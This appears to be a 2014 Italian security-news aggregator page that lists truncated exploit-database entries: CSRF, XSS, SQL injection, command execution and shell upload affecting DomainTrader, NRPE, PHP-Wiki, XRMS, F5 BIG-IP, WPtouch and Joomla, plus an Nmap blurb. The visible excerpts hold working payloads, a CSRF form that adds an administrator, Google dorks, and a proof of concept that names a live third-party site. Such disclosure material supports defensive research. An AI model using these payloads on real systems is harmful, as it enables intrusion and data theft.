DomainTrader Domain Parking / Auction Script 2.5.3 CSRF / XSS

31 agosto 2014 - Fonte: http://www.mondounix.com
# Exploit Title: DomainTrader Domain Parking and Auction Script Multiple 0day Vulnerabilities
# Google Dork: Find yourself xD
# Date: 26/8/2014
# Exploit Author: Haider Mahmood | @HaiderMQ
# Vendor Homepage: http://www.smartscriptsolutions.com/domain-trader/
# Version: Tested on Latest Version 2.5.3
 
Add new administrator CSRF:
 
 
<script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jquery/1.6.1/jquery.min.js"></script>
<script type="text/javascript">
  $(document).ready(function() {
    window.document.forms[0].submit();
  });
</script>
 <form name="add_admin" id="add_admin" method="post" action="victim.com/admin/admincp.php">
...

Leggi il seguito »

NRPE 2.15 Remote Command Execution

31 agosto 2014 - Fonte: http://www.mondounix.com
#!/usr/bin/python
#
#
# Exploit Title : NRPE < = 2.15 Remote Code Execution Vulnerability
#
# Discovered by  : Dawid Golunski
#                  dawid (at) legalhackers (dot) com
#                  legalhackers.com
#
# Exploit Author : Claudio Viviani
#                  http://www.homelab.it
#
#                  info@homelab.it
#                  homelabit@protonmail.ch
#
#                  https://www.facebook.com/homelabit
#                  https://twitter.com/homelabit
#                  https://plus.google.com/+HomelabIt1/
#                  https://www.youtube.com/channel/UCqqmSdMqf_exicCe_DjlBww
#
#
#
# C crc32 function ripped from check_nrpe_clone by Alan Brenner 
#                                       http://www.abcompcons.com/files/nrpe_client.py
#
# pyOpenSSL Library...

Leggi il seguito »

PHP-Wiki Command Injection

28 agosto 2014 - Fonte: http://www.mondounix.com
###############################################################
#    ____                    __                  _ __   _ 
#   / __/_  ______ _  ____  / /_  ____ _      __(_) /__(_)
#  / /_/ / / / __ `/ / __ \/ __ \/ __ \ | /| / / / //_/ / 
# / __/ /_/ / /_/ / / /_/ / / / / /_/ / |/ |/ / / ,< / /  
#/_/  \__,_/\__, (_) .___/_/ /_/ .___/|__/|__/_/_/|_/_/   
#             /_/ /_/         /_/                     
# Diskovered in Nov/Dec 2011
###############################################################
 
import urllib
import urllib2
import sys
def banner():
	print "	    ____                    __                  _ __   _ "
	print "	   / __/_  ______ _  ____  / /_  ____ _      __(_) /__(_)"
	print "	...

Leggi il seguito »

XRMS Blind SQL Injection / Command Execution

28 agosto 2014 - Fonte: http://www.mondounix.com
#######################
# XRMS Blind SQLi via $_SESSION poisoning, then command exec
#########################
 
import urllib
import urllib2
import time
import sys
 
usercharac = ['a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','@','.','_','-','1','2','3','4','5','6','7','8','9','0']
userascii = [97, 98, 99, 100, 101, 102, 103, 104, 105, 106, 107, 108, 109, 110, 111, 112, 113, 114, 115, 116, 117, 118, 119, 120, 121, 122, 64, 46, 95, 45, 49, 50, 51, 52, 53, 54, 55, 56, 57, 48]
def banner():
  print """      ____                                      
     / __/_  ______ _  _  ___________ ___  _____
    / /_/ / / / __ `/ | |/_/ ___/ __ `__ \/ ___/
  ...

Leggi il seguito »

F5 BIG-IP 11.5.1 Cross Site Scripting

28 agosto 2014 - Fonte: http://www.mondounix.com
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1
 
SEC Consult Vulnerability Lab Security Advisory < 20140828-0 >
=======================================================================
              title: Reflected Cross-Site Scripting
            product: F5 BIG-IP
 vulnerable version: <= 11.5.1
      fixed version: > 11.6.0
             impact: Medium
         CVE number: CVE-2014-4023
           homepage: https://f5.com/
              found: 2014-07-07
                 by: Stefan Viehböck
                     SEC Consult Vulnerability Lab
                     https://www.sec-consult.com
=======================================================================
 
Vendor/product description:
- -----------------------------
"The...

Leggi il seguito »

Nmap Port Scanner 6.47

27 agosto 2014 - Fonte: http://www.mondounix.com

nmap port scanner matrix

Nmap is a utility for port scanning large networks, although it works fine for single hosts. Sometimes you need speed, other times you may need stealth.

In some cases, bypassing firewalls may be required. Not to mention the fact that you may want to scan different protocols (UDP, TCP, ICMP, etc.).

Nmap supports Vanilla TCP connect() scanning, TCP SYN (half open) scanning, TCP FIN, Xmas, or NULL (stealth) scanning, TCP ftp proxy (bounce attack) scanning, SYN/FIN scanning using IP fragments (bypasses some packet filters), TCP ACK and Window scanning, UDP raw ICMP port unreachable scanning, ICMP scanning (ping-sweep), TCP Ping scanning, Direct (non portmapper) RPC scanning, Remote OS...

Leggi il seguito »

WordPress WPtouch Mobile 3.4.5 Shell Upload

27 agosto 2014 - Fonte: http://www.mondounix.com
Wordpress WPtouch Mobile Plugin File Upload Vulnerability
 
=================================
 
 
====================
        ______               ___/  /  /                                /  /
       /  /  /___  ____  ___/__   /  /  ____  ____  _______  ____  ___/  /
   :  /  /  /    \/__  \/  /  /  /    \/    \/    \/  /    \/    \/     /
   | /  /  /  /  /     /  /  /  /  /  /  /  /  /__/  /  /__/  /  /  /  /
 --X-- /  /  /  /  /  /  /  /  /  /  /  /  /  /  /  /__   /   __/  /  /
   |\____/__/__/\____/\____/__/__/__/\____/__/  /__/  /  /\____/\____/
   :                   ____                        \____/:
                      /    \____  ____  ____  ____  ____ |
                     /  /  /    \/    \/    \/...

Leggi il seguito »

Joomla Spider 2.8.3 SQL Injection

27 agosto 2014 - Fonte: http://www.mondounix.com
######################
# Exploit Title : Joomla Spider video player 2.8.3 SQL Injection
 
# Exploit Author : Claudio Viviani
 
# Vendor Homepage : http://web-dorado.com/
 
# Software Link : http://extensions.joomla.org/extensions/multimedia/multimedia-players/video-players-a-gallery/22321
 
# Dork Google: inurl:/component/spidervideoplayer
               inurl:option=com_spidervideoplayer    
 
# Date : 2014-08-26
 
# Tested on : Windows 7 / Mozilla Firefox
#             Linux / Mozilla Firefox
 
 
 
######################
 
# PoC Exploit:
 
http://localhost/component/spidervideoplayer/?view=settings&format=row&typeselect=0&playlist=1,&theme=1'
 
"theme"...

Leggi il seguito »

Online Time Tracking Cross Site Scripting

26 agosto 2014 - Fonte: http://www.mondounix.com
# Affected software: Online Time Tacking - URL: https://paydirtapp.com/
# Discovered by: Provensec
# Website: http://www.provensec.com
# Type of vulnerability: XSS Stored
# Description: Paydirt is time tracking and invoicing software made for
browser-based freelancers and small businesses. It keeps track of who
you're working for so that you don't have to.
Paydirt is currently integrated with Chrome and Firefox, and will prompt
you to track time based on the websites you're using and the emails you
write.
# Proof of concept:
1 Goto https://paydirtapp.com/clients
2 Add a new client with any xss payload example ("><img src=d
onmouseover=prompt(1);>)
3 Now goto https://paydirtapp.com/clients again and XSS Works
4 Add...

Leggi il seguito »

CMS 2.1.1 SQL Injection

26 agosto 2014 - Fonte: http://www.mondounix.com
# SQL Injection on @CMS 2.1.1 Stable
# Risk: High
# CWE number: CWE-89
# Date: 22/08/2014
# Vendor: www.atcode.net
# Author: Felipe " Renzi " Gabriel
# Contact: renzi@linuxmail.org
# Tested on: Linux Mint
# Vulnerable File: articles.php
# Exploit:  http://host/articles.php?cat_id=[SQLI]
# PoC:      http://carla-columna.de/articles.php?cat_id=[SQLI]
 
 
--- "SQLi using sqlmap."---
 
Place: GET
Parameter: cat_id
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: cat_id=5' AND 6158=6158 AND 'SEMo'='SEMo
 
    Type: UNION query
    Title: MySQL UNION query (NULL) - 10 columns
    Payload: cat_id=5' UNION ALL SELECT NULL,NULL,NULL,CONCAT(0x7163666971,0x6648715351716d446a54,0x71676e6371),NULL,NULL,NULL,NULL,NULL,NULL#
 
...

Leggi il seguito »